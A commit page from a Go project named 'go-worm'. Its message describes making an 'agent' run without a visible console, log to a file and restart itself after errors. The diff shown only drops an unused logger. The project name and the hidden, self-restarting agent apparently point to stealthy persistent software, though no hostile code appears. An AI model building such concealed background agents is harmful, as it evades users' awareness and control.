refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
-3
View File
@@ -2,7 +2,6 @@ package helpers
import (
"encoding/json"
"log"
"net"
"net/http"
"os"
@@ -12,8 +11,6 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
func RecoverHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {